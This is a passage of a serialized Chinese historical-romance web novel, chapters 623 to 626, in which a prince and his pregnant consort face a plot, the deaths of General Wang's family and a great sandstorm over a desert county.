卫宁禀道:“是,俱都已经查清楚。” 轩辕翰吸了口气,冷冷地道:“说!” “果然不出殿下所料,射出那支毒箭的杀手,的确是皇上派来埋伏在王家的死侍!方才在带回来的路上,已经咬舌自尽了!” 轩辕翰早已猜测到,璟帝多疑,定会多处埋伏杀手,只是他怎么都没想到,竟连王家也有。 卫宁继续说:“据那王胤说,这些年,王将军为了能够守护觻县的百姓,不得不阳奉阴违,应付皇上。这次,皇上命他7日之内将带头治沙的女子带回去,否则就要王将军全族人提头去见。” 轩辕翰听着耳边卫宁的话,一只拳头悄悄握紧,似是都快要掐出血来。 顿了顿,卫宁看着主子的脸,很是吓人,继续禀告:“王将军的妻子夜里产下了龙凤胎,小儿子一出生便就没了心跳和呼吸,是王妃娘娘救了那孩子,所以王将军更是对娘娘下不了手,本就打算让娘娘离开。” 至此,心下里犹豫了一瞬,卫宁又说:“但王胤,却瞒着王将军,掳了王妃娘娘,于是便就发生了接下来这一切……” 一切事实真相,竟是如此令人唏嘘。 禀告完一切,程良朝其请示道:“请问殿下,这个王胤,该如何处置……” 第六百二十三章:一声夫君,一句叮咛 如此这般愚蠢的人,就算杀他几百几千次,也难泄轩辕翰此时心头之愤。 正所谓可怜之人,必有可恨之处。 其兄王充是那般的正义勇敢,可他反而却如此胆小懦弱。正是因为自己的胆小懦弱,亲手葬送了其兄长的性命。 尔今原本好端端的一个家,刚添了两个新生命的家,就这样散了。 可一想到王充临死前对自己的苦苦哀求和那些遗言,轩辕翰又不得不最后下令说:“放了他吧!” “是”终于,这个主子到最后还是心软了下来,卫宁领命后便退了下去。 眼看着,这漫漫长夜即将过去,天就要亮了。 轩辕翰起身回到里面的床榻前落座下,看着衣上云此时正熟睡中恬静的脸,思绪良多地自言自语道:“还好你还在!” 打从俩人认识开始,每当面对危险,想起她总是能那般地不以为惧。 仿佛对于她而言,从来都不知危险为何? “可为何你待人人都是那般地好,唯独却让本王总是觉得若即若离呢!” “那个魏明轩,他究竟是你什么人?” “本王真的很害怕,有那么一天,那个魏明轩会忽然出现,将你从本王的身边带走,本王此生便再也见不到你了。” 说着说着,遂将目光移到衣上云的腹部,又道:“还有这个本永远不该到来的孩子,本王拿他到底该怎么办?拿你怎么办?” 似乎这所有的问题,都没有一点儿解决的办法。 他也确实累了,于是便起身走到一边宽衣后又再次回到了榻边,掀开锦被躺在了衣上云的身旁。 小心翼翼地将自己的一只胳膊,从衣上云的脖颈下穿过。 再蠕动她柔软的身子,将其揽到自己的怀中抱紧。 终于,他又再次闻到了她身上所散发出来的那股熟悉的体香味,一股淡淡的药草香。 那味道,就仿佛一剂天底下最灵验的药方一般,能瞬间抚平他心头所有的伤痛。 不知不觉间,许是怕自己一旦合上眼睛,她便会再次从自己的身边逃走,遂贪婪地竟将她拥得越来越紧。 迷迷糊糊中,衣上云一感觉到这种令人窒息的拥抱,便倏地睁开了眼睛。 一见原是轩辕翰正从自己的身后,一手紧紧圈住抱在自己的腹部,便本能似的用力挣扎了起来。 想要将他的手推开,拒绝他:“殿下不要,你要做什么?!” 轩辕翰闭着双眸,胳膊只轻轻一勾,便将她整个人都勾了回来:“乖,不要动,让本王抱一会儿,本王就这样抱着你躺一会儿,就一会儿,本王真的累了……” 衣上云以为他,定又是在打他肚子里的孩子什么主意,无论他说什么,都不愿听,只继续极不听话地挣扎着。 就在这时,轩辕翰忽然发出一阵吃痛的闷哼声来:“嗯……” 接着警告她:“你若不想本王身上的伤,变得更加严重,便就放弃挣扎乖一点,否则,本王不介意用其他方法让你安静下来。” “身上的伤……”闻声,这次衣上云果然乖乖收敛,变的安静了下来,不再胡乱动弹。 甚至小心翼翼地慢慢转身过去,面对轩辕翰,关切地问:“身上的伤还痛吗?让我看一下。” “还是不要看得好?”轩辕翰拒绝说。 然衣上云却依旧目光定定的看着他。 “你……确定要看?”轩辕翰意识到她的坚持,一双深邃的眼眸看着她的眼睛,朝其确认。 “嗯”衣上云对他点了点头。 至此,轩辕翰方才抽出胳膊,面朝其坐起身来。 衣上云亦随其坐起,附手上去轻柔地解开了他的衣带。 刹那间,其胸口处所包扎着的伤口,尚还渗出着斑斑血迹,就这样暴露在自己的面前。 衣上云心疼地抬手轻抚在上面,看着他总是旧伤未愈,又添新伤,眼泪瞬间夺眶而出。 轩辕翰看到她的泪水滑落脸庞,伸手一边替其拭去,一边亦无比心疼地道:“怎么又哭了?本王就说还是不要看得好。” 衣上云不是没有看到过他身上这些令人触目惊心伤,但只有此时,在亲眼看到被人捅了一刀后,再看他身上这千疮百孔。 其每一处伤,不都是他在用自己的命,护着他想护着的人嘛! 刹那间,就仿佛自己感同身受一般,深深浅浅似是都快不能呼吸,忽然问他:“殿下身上这道道伤痕,一定都很痛吧?” 轩辕翰却道:“有你,这些伤,便就都被抚平了。” 先不提眼下究竟该如何应对这场大沙暴。 正所谓,医者不自医,其实,她自己也不知道到底能不能等到平安生产。 可是,如果真的不幸有离别的那一天,或许在他的心里,最放心不下的人,便就是眼前这个男人了。 一念至此,她忽然泪眼婆娑着对她喊了一声:“夫君!” 一声夫君,轩辕翰不禁怔愣了一下。 从俩人大婚开始到现在,这还是她第一次如此称呼他。 衣上云看着他的眼睛,过了会儿,从未这般认真地说:“你是西秦的秦王,但亦是我的夫君,我一辈子的依靠。未来,你还会是我孩子的父亲,我孩子一辈子的依靠。如果有一天,我真的不在了,殿下……殿下能不能也疼惜一下自己。” 衣上云显然已经哽咽着,心痛地快要说不下去了。 一声夫君,一句叮咛,轩辕翰顿紧张极了地伸手一把将她拥入到怀中,道:“云儿,你要做什么?为什么突然说这样的话?不要离开本王,永远都不要离开本王,本王不准,不许……” 衣上云早已哭成个泪人,满腹心事说不出口,遂紧紧环抱住他的腰身。 轩辕翰话一说完,便垂首下去,温柔地吻上了她的眼睛,眉毛,她温软的红唇…… 似是欲将她所有的伤心难过俱都抚平一般。 一缕阳光穿透云雾,撒向大地世间万物。 黄沙漫漫,驼铃声声…… 早起,衣上云便被迫驾在了轩辕翰的前面,俩人一同策马奔腾向前,走出军营,往草场视察。 “秦王殿下对王妃娘娘可真温柔啊!” “秦王殿下与王妃娘娘可真般配!” “秦王殿下与王妃娘娘真是恩爱!” “秦王殿下与王妃娘娘可真是天赐的良缘啊!” “王妃娘娘紧一些给秦王殿下生个小娃娃出来啊!” …… 所到之处,无人不对其投以艳羡的目光,无不收到大家的祝福。 然听着传入耳朵来的这些话,看到大家对自己与平日里完全不同的眼神。 衣上云羞的用手紧紧遮住脸来,头都不敢抬起,压低了声音道:“殿下,这样也太难为情了!你还是赶快放我下来吧……” 岂料轩辕翰却当众扬声道:“你是本王三书六礼,四聘五金,八抬大轿,十里红妆,亲自迎娶进门的秦王妃,与本王同乘一骑有何不妥?” 这时,人群里竟然有人亦附和道:“对对对,秦王殿下所言极是,王妃娘娘你要乖乖听话哦……” “殿下……”衣上云只能羞的直钻进了轩辕翰的怀里,深深藏了起来。 轩辕翰却独自高兴不已, 可看到沙暴尚还未来,那些途径的流沙便已经不受固定,再次裸露了出来。 俩人并肩而行,一路上,想了很久,衣上云终是忍不住开了口:“殿下,我还是觉得,只有沙漠神泉相辅,才能治住这流沙!” 紧接着,便从身上掏出那支玉色瓷瓶来到一旁试验:“殿下,我演示给你看。” 看了衣上云的演示,轩辕翰道:“本王不是不信你,本王从未怀疑过你的聪明与智慧。只是……再次深入大漠,会因为之前的心里恐惧而变得更难!” 岂料衣上云却已似好了伤疤忘了疼地道:“我不怕……” 轩辕翰定定的看着他的眼睛,道:“本王知道你向来天不怕,地不怕。可本王怕……” “殿下……”衣上云依然坚持执着地看着他。 轩辕翰反问她:“你难道忘了方才还亲口对本王说,本王是西秦的秦王,但亦是你的夫君,是你一辈子的依靠。未来,还会是我们孩子的父亲,我们孩子一辈子的依靠。那对本王来说,你又何尝不是?本王也希望你能偶尔也疼惜一下你自己。” 如此深情的眼神,衣上云差点儿就陷在其中,然终还是很快醒了过来,幽幽道:“可有些事,必须得有人去做!” 轩辕翰似是心里已经有了打算,却肯定极了地说:“可那人,绝对不是你……” 就在衣上云满脸疑惑地看向轩辕翰的侧脸时,轩辕翰道:“这次,本王亲自带人去取!” 衣上云顿时惊叫道:“殿下不可……殿下可是西秦国身份尊贵的秦王殿下,怎能做这样危险,几乎是九死一生的事情?” 轩辕翰则提醒她说:“莫非你忘了,你还是灵空大陆,富甲一方的东宁国尊贵的嫡公主。在我八百里西秦的国土上,莫非你会比我更有资格做这件事不成?” “我……我既已嫁给你,便也就是西秦国的子民,自是应当竭尽所能为殿下分忧!”衣上云支支吾吾地紧忙寻找理由答道。 轩辕翰一脸宠溺地看着她,遂将一只手搭在了她的肩膀上,道:“你是嫁给了本王,不是嫁给了西秦。乖,听话在这里好好呆着,等本王回来!” 说完,便将深深的一吻落在了她的额头上。 “殿下不要……”衣上云依依不舍地看着他。 轩辕翰兀自过去翻身上马,说了句:“放心!” 于是便策马带人风尘仆仆地远去…… 第六百二十四章:王夫人的嘱托 觻县王家。 王充的灵堂前。 衣上云一袭素衣清颜,燃起香烛正朝其牌位敬拜。 “王将军,你放心,秦王殿下定会替你守护觻县,守护你的家人的,你就安息吧!” 就在她说完这句话,欲往香案上的香炉中去插香的时候,身后忽然传来一阵气势汹汹的厉喝声:“出去,谁准你来这里的?” 闻声,衣上云顿一回头。 见原是王胤架着双拐急急过来,便解释道:“我是特意来祭奠王将军的。” 王胤愤愤道:“别以为你是秦王妃,我便不能把你怎样?想赎罪,想都别想!这辈子,我王家都不会原谅你的。” 说完,便再次扬声将其驱赶了起来:“滚出去,你给我滚出去,立刻,马上……来人!来人啊!把这个瘟神赶快给我赶出去,谁让她进来的,是不是不要命了!” 竟还动手推推搡搡着,其声音之大,就连在内院尚还在月子里修养的王夫人都惊到了。 很快,一个小丫头走了进来,说:“二爷,夫人请王妃娘娘前去一见!” 事到如今,终是再也瞒不住王夫人,关于衣上云的身份的消息。 王胤听了,简直不敢相信自己的耳朵:“你说什么,嫂嫂要见她?” 小丫头确定地道:“是的,二爷,夫人说有些话想亲口对王妃娘娘说。” 王胤顿时怒发冲冠地道:“和她有什么好说的,我不准,她是害死大哥的凶手!就算我现在还杀不了她,可早晚有一天,她都会遭到应有的报应的。还有那秦王……我一定会找他算这笔账。” 小丫头自是不敢将他怎样,于是自顾自只传话说:“夫人让奴婢给二爷带句话,夫人说,二爷若是不怕惊扰到尸骨未寒的将军在天之灵的话,便就继续在此这般发疯吧!” “我……”一提到其兄,王胤果然顿安静了下来。 似是眼下彻底没了办法,遂只能气的将一拳重重地砸在了身旁漆黑的柱子上。 届时,小丫头对衣上云客气地说:“王妃娘娘,请随奴婢来吧!” 跟随着小丫头的脚步来到后院,衣上云进屋一看到本就刚刚生产完身子尚还虚弱着,此时却更加无精打采,憔悴不堪的王夫人,其眼里再也没了与她初见时的那束光。 便紧忙过去朝其满腹歉意地说:“夫人,都是我的错,是我对不起您……” 王夫人一袭白衣斜靠在榻边,正在一汤匙一汤匙,认真地缓缓饮下手里正端着的一盅药汤。 见衣上云进来,一边将药碗放下,一边挣扎着想要起身来,最后却不得不放弃,只开口抱歉极了地道:“王妃娘娘来了,瞧我这身子,竟连给娘娘行礼都做不到了!” “夫人不必多礼。”衣上云赶忙过去将她扶住,道。 王夫人对其解释说:“将军自小便没了父母双亲,这些年,将军心怀愧疚,对王胤放纵其任性,缺乏管束,他便成了现在这副天不怕地不怕的模样。如此,他就连自己都照顾不了,又如何能照顾这两个刚出世的婴儿?” 衣上云心中疑惑地问:“那夫人的母家,也不能帮衬夫人一二吗?” 闻此,王夫人的脸上顿浮出一抹忧郁,道:“我的母家,在上次的沙暴中,我父亲的驼队在大漠里出了事,无一人生还,至今连尸体都寻不到。后来,我的母亲一气之下亦染了重病,不久前也离世了,从此,便只留下我这个家中唯一的独女,本还指望着能与将军此生相依为命,可如今……” 王夫人心底着实有太多的不舍,与犹豫,可似乎一切的一切,这也是没有办法的办法了。 一念至此,忽然,她从自己的悲伤中醒来,眼里满含着泪水。 使出浑身仅剩下的一点点力气,跪在榻边朝衣上云叩首。 衣上云见了,赶忙上去将她扶起:“夫人您这是做什么?” 王夫人认真地朝其祈求道:“王妃娘娘,我知道我不该提这样的要求,可我也是实在走投无路了。” “夫人你有什么话直说便好,只是不要再伤心难过了。这时难过,真的很伤身子的!”衣上云心急如焚地拉着她的胳膊阻止并劝说。 王夫人却依旧坚持跪着,说:“王妃娘娘能不能收留将军的这两个苦命的孩子,哪怕就算长大以后,让他们在王府为奴为婢也好,总胜过孤苦伶仃无依无靠地跟着王胤好!将军在天有灵,他也一定会感到欣慰的。” 衣上云一听,甚是不解地道:“这两个孩子,不是还有夫人您这个母亲吗?如果您是担心以后生计的话,就大可不必担心,我和殿下一定不会让将军的孩子受苦的!” 闻此,王夫人的脸上终于浮出了极具的欣慰来,遂淡淡的笑着:“如此,那我便放心了!” 只见王夫人脸上的气色似是愈来愈不好,她坐回去气喘吁吁地对一旁的小丫头说:“去把孩子抱过来,让我再看他们一眼。” “是,夫人。” 小丫头答应着,很快便与另一婢女一起将那对可爱至极的婴儿带了上来。 王夫人依依不舍地握起他们正在挥动着的小拳头,心都碎了地道:“孩子,对不起,娘亲不能让你爹一人独自孤孤单单地上路。你们一定要听王妃娘娘的话,一定要平平安安地长大。娘亲实在是舍不得你们,舍不得,舍……不……” 至此,不知为何,王夫人竟忽然就彻底闭上了双眼,倒在衣上云的怀里。 “夫人……夫人……” 衣上云这才看到王夫人竟然嘴角在流血,遂一探鼻息,顿时泣不成声地呼唤着她,可一切都却是那样的无力改变! 而就在轩辕翰刚刚离开不久。 其所去方向远处的天空,忽然快速地现出许多暗黄色的云层来。 云层很快翻腾倒海,快速地涌动着,蓝色的天空正被其一寸寸吞噬。 衣上云抱着孩子,失魂落魄地刚一走出王家的大门。 不经意地一抬头,看到此情此景,已然怔在原地里惊呆了:“这……这难道是……沙暴来了……不……殿下……” 一念至此,刚好有三三两两的百姓经过她的身旁,她惊恐着急的告诉他们:“沙暴来了,赶快去避难所,通知族长立刻转移百姓,全部都去避难所,快!” 那被通知的几个人,见她神色慌张,拔腿便朝族长家所在的方向疾奔了去。 衣上云则赶忙回过头去又折返进入到王家。 一边跑一边对那小厮说:“赶快去通知全府上下,速速都离开此地,赶去避难所,沙暴就要来了!” 那小厮听闻顿惶恐不已,立刻便在院子里大喊大叫了起来道:“不好了,沙暴要来了,沙暴来了,都赶快躲到避难所里面去!” 霎时间,院子里一片混乱。 她吸把拽住了一名小厮问:“王胤在哪儿,他人现在哪儿呢?” 那小厮惊恐地道:“方才,我见他命人抬着夫人的尸体朝着灵堂里去了!” “灵堂……”衣上云遂紧忙重复了一句,便亦朝灵堂赶了过去。 刚到灵堂前,便见眼前一堆熊熊烈火正在吞噬着堂前一切。 那里赫然停着王充,及其夫人俩人的尸体。 衣上云顿觉有一种极不好的预感涌上心头,只见有一人缓缓现身出来,于是大叫一阵道:“不,王胤,王胤……” 见那王胤似是魔症了一般,痴痴傻傻,丝毫对自己的呼声没有任何反应,衣上云继续大叫着求救:“来人,来人啊,灵堂失火了,灵堂失火了……” 遂心里一急,自己便就这样想要闯进去。 正当她要迈步时,霎时间,怀里襁褓中的婴儿双双发出一阵洪亮极了的啼哭声来。 方才阻止了衣上云的脚步,赶忙摇晃,安抚怀里的婴儿:“不哭,不哭……” 可此时,府里的丫头小厮早已听闻沙暴即将来临,愤愤都逃命了去。 大火很快便蔓延到整个屋子内外,毫无逃生的可能。 衣上云吓得扑通一声瘫坐在地上,无助极了地痛哭起来:“殿下,我该怎么办,我该怎么办啊!” 同样听到到处在疾呼呐喊着:“沙暴来了,沙暴来了,全都速速赶去避难所!” 燕儿与兰香一齐紧张地出来查看。 兰香很快便认出了燕儿,上前去惊喜地道:“燕儿,真的是你!” 燕儿遂亦是想了一瞬,终于也记起了她:“你是……兰香,你怎么会在这里?” 兰香道:“是秦王殿下带我和外婆来的。” 燕儿不解地问:“你们来这里做什么?” 兰香咬了咬牙,道:“我来此找一个罪人!” 继而又问燕儿:“那你呢?” 燕儿道:“我当然是跟着我家小姐来的,可是现在……” 说着,忽然变得支支吾吾了起来:“可是现在小姐她生我的气了,她不要燕儿了!” 就在这时,衣上云满脸灰尘,终于踉踉跄跄地回到了军营里。 燕儿一见,便朝其迎上前去,看着她的脸,吃惊地道:“小姐,你这是怎么了,怎么弄成这样了呢?” 第六百二十五章:福气与幸运 “小姐,你这是怎么了,怎么弄成这样了呢?” 然此时的衣上云,在刚刚经历,亲眼目睹了王家只不过须臾,便就彻底家破人亡,显然还深陷其中不能自拔,惊魂未定,难以接受。 回忆着她最后离开王家的时候,去查看了一番王夫人最后喝下的那碗汤碗。 她的嘴里一直不停地遂遂念着:“原来王夫人当时在我面前所服下的,竟然是万花枯,为什么我没能早点发现?为什么没能早点发现呢……” 一念至此,她自责不已极了。 若是她早点发现王夫人话里话外的不对劲,或许她便就不会死。 如此,王胤亦不会绝望地燃起一把火来,烧了整个王家。 这一切的一切,便就都不会发生了。 于是伤心地哭着,问正好迎面而来的燕儿与兰香。 “为什么?” “为什么?” “为什么我没能早点发现王夫人已经不对劲?” “为什么我没能早点发现那竟是万花枯?” “为什么我救不了她?” “救不了他们?” “为什么?” 燕儿见她哭的如此伤心,亦是着急极了:“小姐,你这到底是怎么了?” 尚未来得及其回答,衣上云怀里的两个婴儿似是忽然感应到了至亲的离世一般,不住地大声啼哭起来。 这时,兰香紧随其后,亦来到了衣上云的面前,看到衣上云此时的模样,惊讶地道:“王妃娘娘……你……” 衣上云一见孩子哭了,心疼难过却又无助。 兰香忙问:“王妃娘娘,这孩子是……” 燕儿这才亦注意到孩子的身上:“小姐,这孩子……” 衣上云一边轻轻摇晃着俩孩子,一边道:“这是王家夫人刚刚生产下的一对儿女……” 看到衣上云显然应对不了这俩个孩子的哭闹,燕儿与兰香各自伸手过去从其怀里抱走一个。 衣上云看着孩子的脸,顿了顿,吩咐燕儿:”这俩个孩子,你带回王府里,务必好好照料,万不可委屈了他们。” 显然尚还不知王家已经起了变故的燕儿,一脸不解地道:“将这孩子带回王府,那王夫人呢?还有王将军的胞弟,我们怎能将孩子带走?” 衣上云道:“夫人,她已经追随王将军去了……” 闻此,燕儿顿移动目光到衣上云的脸上惊谔极了地道:“什么?” 兰香亦看向衣上云的脸,怔了一瞬,复又回看向孩子稚嫩的脸庞。 此时明显感觉到身旁的风沙愈来愈大,三人身子随风摇摇晃晃,竟已有些站不住脚了。 军营一侍卫策马飞奔过来,在三人身旁急急下马过来禀报:“王妃娘娘,俩位姑娘,请速速移去避难所避一避吧,沙暴马上就要来了!” 衣上云这才赶忙回过神来,道:“对了,沙暴就要来了,你们俩也赶快去避难所避避!” 闻此,燕儿顿连连问道。 “我们俩?” “为什么是我们俩?” “那小姐你呢?” 兰香亦道:“是啊,王妃娘娘,你也同我们一起去吧,外面的确真的是太危险了!若是早知觻县这次沙暴会提前来临,我一定不会带着年迈的外婆来此的!” 可殊不知,衣上云心里其实早已心急如焚。 如果不出她的预料,轩辕翰在朝向大漠深处探入的此时,一定很快便就会与沙暴正面接触。 他尚还不知大漠的危险,再加上这场特大沙暴。 她抬头看了看蓝色流失愈来愈快的天边,担心极了地道:“不……我必须去找殿下……殿下他此刻一定更加危险!他需要我!” “可是……” 兰香还想继续劝说些什么,却忽然被愈来愈大的风沙吹迷了眼睛,忙伸手去揉。 “小姐,不要丢下燕儿,要去一起去,燕儿不要与小姐分开……” 燕儿显然害怕的已经在哭泣。 “好了,都不要再说了!这里距离最近的避难所亦还有段距离,你们带着孩子快点离开这里,快点儿,再晚就来不及了……” 说着,衣上云便将俩人推向了侍卫身边,并嘱咐其道:“你务必护送他们平安到达避难所!” “是……”侍卫领命。 衣上云交待好一切,又看了俩孩子一会儿,此刻他们正在兰香与燕儿的怀里安稳地睡着了,便安心地快步过去翻身上马。 最后看了看兰香。 又深看了燕儿一会儿,凝视着燕儿的眼睛,道:“燕儿,对不起,我之前对你所说的那些话,其实都是气话。我也只是……与殿下一场,舍不得我与他的孩子。以前不知,原来在这世上,所有的母亲竟都是一样的。都同王夫人一样,即便面临临死之际,唯一放不下心的,就是她的这对儿女。这种感觉,燕儿以后也会深有体会的。” 顿了顿,吸了口气,又继续说:“这么多年,有你在我身边陪我,守护我,无论喜与悲,亦或风霜雨雪。与其说我是你的福气,不如说你是我的幸运。我是真的很幸运,这辈子,有燕儿你陪在我的身边。如果在这世上,真的有下辈子,燕儿,下辈子,我希望你来做我的主人,我来同样陪你,守护你,可好?” “小姐……不要说了……不要再说了……”忆起过往,听着衣上云从未对自己说过如此认真的话,燕儿忽然心里害怕极了地摇着头, 她无比强烈地感觉到,在觻县,这次一定会出什么大事! 可最终,衣上云在说完这段深情款款的话之后,果然义无反顾地挥动起了手里的马鞭。 伴随着“驾……”的一声,顿时间,马蹄声响起。 和着耳旁狂风怒吼,似是欲将人撕裂的声音,迎着风沙的打击,扬起一地尘土飞扬来。 “小姐回来,你回来,快回来,燕儿不要什么下辈子,燕儿只要这一世便够了!前面太危险,小姐不能去,你不能去啊!你还有着身孕呢……” 燕儿眼看着衣上云就这样义无反顾地再次离开自己,便想要疾奔上去追着马儿跑。 兰香一见,紧忙上去将她一把拽住,劝道:“燕儿回来,快回来,不要再追了,没用的。你从小跟着她这么多年,难道不知道你是追不回来的?你是挡不住她的!” 燕儿想了想,兰香说的的确没错,打从她这个小主人昏迷醒来后,她想要做的每一件事,根本就从未有人能拦住她,于是再也忍不住,眼泪哗啦啦流了下来。 无助担心极了地道:“怎么办,怎么办,谁来帮帮她,谁来帮帮她,小姐,小姐……” 兰香看着衣上云渐行渐远,直到她的影子最后缩成了一个点,方才拉起燕儿的手来道:“放心吧,吉人自有天相,她一定会平安回来的。走吧,我们也得赶快去避难所。” 觻县与大漠的交界。 经过无数次沙暴洗尘过的无比湛蓝干净的天空,此时早已被漫天昏黄所完全吞噬。 轩辕翰带着一队人马,顶着猛烈的风沙步步艰难地前行着。 走着走着,忽然间,天空亦变得阴沉下来,耳畔萦绕着的风沙的声音亦越来越大,似是就连脚下的整个大地亦开始颤动了起来。 在这只有一片昏黄的世界里,沙暴怒吼的声音愈来愈响,愈来愈响,除了风沙,眼前什么都看不清,亦除了风沙的声音,什么都再也听不见。 卫宁一手遮着眼前袭来的沙尘,发出几乎吼叫一般的声音来,朝轩辕翰请示。 “殿下,看来前方沙暴已经来了,我们不能再继续往下走了。即使我们沿着王妃娘娘上次的路线寻过去,怕是亦是无用。以往沙暴其所经过之处,皆都水井溪流干涸,田地干裂,庄稼枯萎,牲畜死亡,大陆无不一片凄凉。更何况,王妃娘娘曾说,那只是沙漠里一股极小的水流,又怎经得住这场特大沙暴的洗礼……” 已经完全放弃骑马,而改作步行的轩辕翰,脸上蒙着一方黑色的遮面巾,丝毫不为其所动。 面不改色地沉声道:“既被称作是神泉,想必定有其所存在的神奇之处,本王若不试一下,亲眼所见,又怎能便就此半途而废!” “可是,现在眼下就连眼前的路都已经看不见了,若是待会儿再继续踏足进去,在大漠深处迷失了方向,那我们……” 卫宁就算仅仅只是想一想,便就再也说不下去了。 然轩辕翰的心里又岂会不知,自己这次显然是在与老天搏命,可在如此巨大的灾难面前,他能胜得了天吗? 其实,就连他自己也不知道。 可不管怎样,为了觻县,为了这片大陆,为了天下苍生,为了衣上云,以及过去以往太多的人豁出性命,在这里所做的一切不最终沦为一场徒劳。 已然行至此时的轩辕翰,坚定不移地道:“继续前进!” 卫宁见轩辕翰这次是铁了心要闯入大漠,只能誓死追随,于是扬声领命道:“是,属下遵命!” 继而转身朝众追随者下令:“继续前进!” 一声令下,无一人迟疑,纷纷跟了上去…… 第六百二十六章:地下避难所 在大自然面前,所有人类,无论是谁,身份贵重无比也好,穷困潦倒也好,亡命之徒也罢,一切都显得是那么地渺小,又微不足道。 经历了一场暴风雨前的黎明破晓时分,酝酿了许久,这一刻,终于到来了。 只不过一瞬间,便就遮天蔽日,整个世界都陷入一片昏暗之中。 目之所及皆是黄沙,夹杂着一股淡淡的似是泥土被刚刚翻新过的味道。 狂风席卷着漫天沙尘滚滚而起,跨越了世间万物。 气势磅礴,汹涌奔腾向前。 此时,在进入大漠之前的最后一处避难所门前。 这是衣上云亲自设计的一处远离地面,修建在地下近十丈的地下避难室。 里面,早已命人备下了躲避此次沙暴足够的生活物资。 眼看着,马上就要关门了。 一名王府侍卫最后立在门口左顾右盼,着急又无比紧张地不断朝外大声呐喊着。 “还有人吗?” “还有没有人了?” “还有没有人在外面没进来的?” “抓紧时间快点进去了。” …… 久久不见有人回应自己。 那侍卫焦急地又转身朝身后的百姓询问:“大家所有人都进来了吗?抓紧赶快都相互看看,你们的左邻右舍,还有没有没进来的,如果都已经来了,我就要关门了,沙暴马上就要来了!” 弱小无助的百姓们惊惶失措地挤在一起,男女老少,拖家带口,甚至将自家的牛羊也都带了过来,闻声连忙纷纷左看右看了起来。 就在这时,刚刚赶到的燕儿与兰香各自怀里抱着一个刚出生的婴儿,一边狂奔,一边气喘吁吁地大声疾呼。 “先不要关门……” “等等……” “这儿还有人……还有人呢……” 终于,隐隐约约听到有人在呐喊的侍卫,定睛仔细寻着声音看去,果然搜索到了俩人的影子。 待其一现身出来,亦朝其连忙一边招手,一边大声回应召唤道:“快一点儿,我们在这里,赶快过来,沙暴马上就要来了,快点儿……” 顺着对方回应的声音,燕儿与兰香果然更快一点便寻到了方向,被一只像是从天而降有力的大手一把拉进了安全的避难所里。 进去后,第一时间,俩人赶快检查怀里襁褓中婴儿的状况,只见那俩孩子正在摩拳擦掌,挥动着自己的小胳膊小腿,甚是活跃着。 兰香终于长长地舒了口气,道:“谢天谢地,终于安全了!” 然燕儿却尚还沉浸在与衣上云依依惜别的沉重之中不能自拔。 眼睛呆呆地看着婴儿的脸,嘴里不放心极了地碎碎叨叨着:“小姐,小姐……” 兰香看着她此时的模样,心疼极了。 遂开口安慰她道:“好了,燕儿,不要再难过了,王妃娘娘不会有事的,放心吧!” “哐当”一声。 终于,避难所那道沉重无比的石门,被死死落了下来。 这时,人群里忽然有人高声呼喊道:“糟了,老族长还在外面没进来呢!” “老族长?” 闻声,所有人都开始在拥挤的人群里寻找了起来。 恰时又有一人道:“老族长在外面守着防护林呢,他说那片防护林,是咱们觻县几代人的心血,他即便就是死,也要和那片防护林死在一起。人在林在,人亡林亡。” “老族长……” 听了这席话,所有人都变得沉默了下来,心中对其升起无限的敬畏感。 而在另一角落里。 龙恩与寿伯主仆俩一走出大漠,便乔装打扮成当地人的模样。 混在了人群里,到处打听在戈壁滩上被狼群冲散,得而复失的衣上云的下落。 岂料却遭遇了这场沙暴的袭击,此刻不得不停下脚步来也蜷缩成一团,到此躲避。 寿伯心中甚是自责不已地道:“老奴真是该死,当时就应该好好调查一番。就为了市井上几个游手好闲的刁民的流言蜚语,与其无中生有的胡乱揣测,便让公子来到觻县吃了这么多苦。万万没想到,还遭遇了觻县的这场特大沙暴……” 顿了顿,倍感细思极恐,又接着说:“西北的沙暴天气,以往多发生在冬春二季,这两个季节最是干旱,降水也很少。等到地面极为干燥且松散的时候,抗风蚀的能力也会不太强。等到一旦有了大风后,自然就会有大量的沙尘卷入到空中,方才出现沙暴天。可司天局本预测的尚还有月余至秋才会到来的沙暴,怎的尽会提前到来?眼下可还正是炎炎夏日……” 一念至此,他放眼过去朝着身边人潮汹涌的周围细细打量了一圈。 最后将目光锁定在这从未见过的地下室构造内,担心极了地道:“也不知,这处避难所,究竟能不能抵过这场沙暴的袭击……” 然此刻在龙恩的思绪里,却都是对往日记忆中无论任何时刻,俱都坚强勇敢面对一切的衣上云的回忆。 那天,若不是她宛若某位仙人下凡一般出现在茫茫大漠,自己怕早就成了哪种物种的盘中餐了吧! 她的出现,每每都是一道光,温暖人心,照亮其整个世界。 最后,她在心里自言自语道:“你真的就是那个世人口中皆所传说的,拥有神秘力量,失踪多年的西秦守护者吗?” 看到龙恩深陷在他的思绪中并未回应自己,寿伯再次轻声地唤他:“公子,公子……” 这次,龙恩终于被其唤醒过来。 可原本已渐渐温柔的脸上,却似是顿浮现出一抹被其打断的不悦来。 缓缓开口道:“你根本无须自责,是我自己一意孤行坚持要来觻县的,并与你无关。况且,一进来我便就已经仔细检查过这里了。这所地下避难室,都是采用的极其坚固的花岗岩石材所筑成。放眼整个灵空大陆,都是前无古人,后无来者的。不知是哪位大师所设计,即便是再大的沙暴,亦会确保我们安然无恙。” 寿伯一听,再次环视周围了一圈,此刻总算是安心了许多。 却依旧道:“可是,我们已经到觻县多日,至今却都还没有寻到关于守护者的一点点踪影……” 未及其将话说完,龙恩却兀自说道:“或许,我早就已经遇见她了……” “什么?公子你早就已经……” 闻此,寿伯惊讶不已地注视向龙恩的脸。 就在俩人说话间,龙恩的面前忽然递上了一碗热水。 尚未待其反应过来,一女子温柔的声音在其耳旁响起:“喝点儿热水吧!” 龙恩只觉这声音有些似曾相识,直到他看到女子递上水来的一只手腕上,套着的一只檀香木雕兰纹的镯子。 方才赶快将头抬了起来,一对上眼前女子的脸,顿时惊声叫道:“小香香……怎么是你?你怎么会在这里?” 女子一对上他的脸,瞬间似是亦惊诧极了地心里默默道:“这还真是不枉此行,他果然在觻县!” 遂愣了一下,看着眼前这张让自己憎恶甚至恶心的面孔。 缓缓直起身来,道:“是你!这还真是踏破铁鞋无觅处,得来全不费功夫!” 闻此,龙恩亦站了起来,朝其近身过去,甚觉难以置信地道:“你方才的意思是……你来觻县,是在找我?” 兰香冷哼了一声,不屑极了地道:“哼……你实在是太看得起你自己了,我来觻县,并不是为了找你,而是来向你讨债的。” “讨债?”龙恩自是不明白她意欲何为。 兰香冷静了一会儿,思虑片刻后,渐渐将目光转移到另一边上。 